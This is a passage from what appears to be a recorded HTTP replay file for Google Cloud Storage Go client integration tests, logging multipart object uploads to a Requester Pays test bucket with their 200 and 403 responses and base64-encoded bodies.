0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjQ0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmluc2VydChPYmplY3RzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjQ0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmluc2VydChPYmplY3RzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "5539336327f2e0ba", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:51 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrH7pn9r8O1Zu1Nc2aNUO_CO75MyvOJyONGw27TUkfWRSSmFIWJUZ6F3e3OprVF5jKtAkQ73puZbyNCK6mozyHrmPRRa0mtyuBPhkYg4DzPGkXJOSU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo1MS41NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NTEuNTQ3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjUxLjU0N1oiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTg5MTU0ODAwMSZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS91c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJ1c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDT0dlcU5MeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "029ec3d54709e7ce", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13099" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:52 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqcpItVCw5LaIWvDckOjfoChIifJGtuURBAmgtpzzna_iVOfDSaQOhxiMDVfYkV3mKG7__z0WTNRdVpa2Zs2IPcIAKwqwSeIMaLtz--MluSCHv9kc8" - ] - }, - "Body": 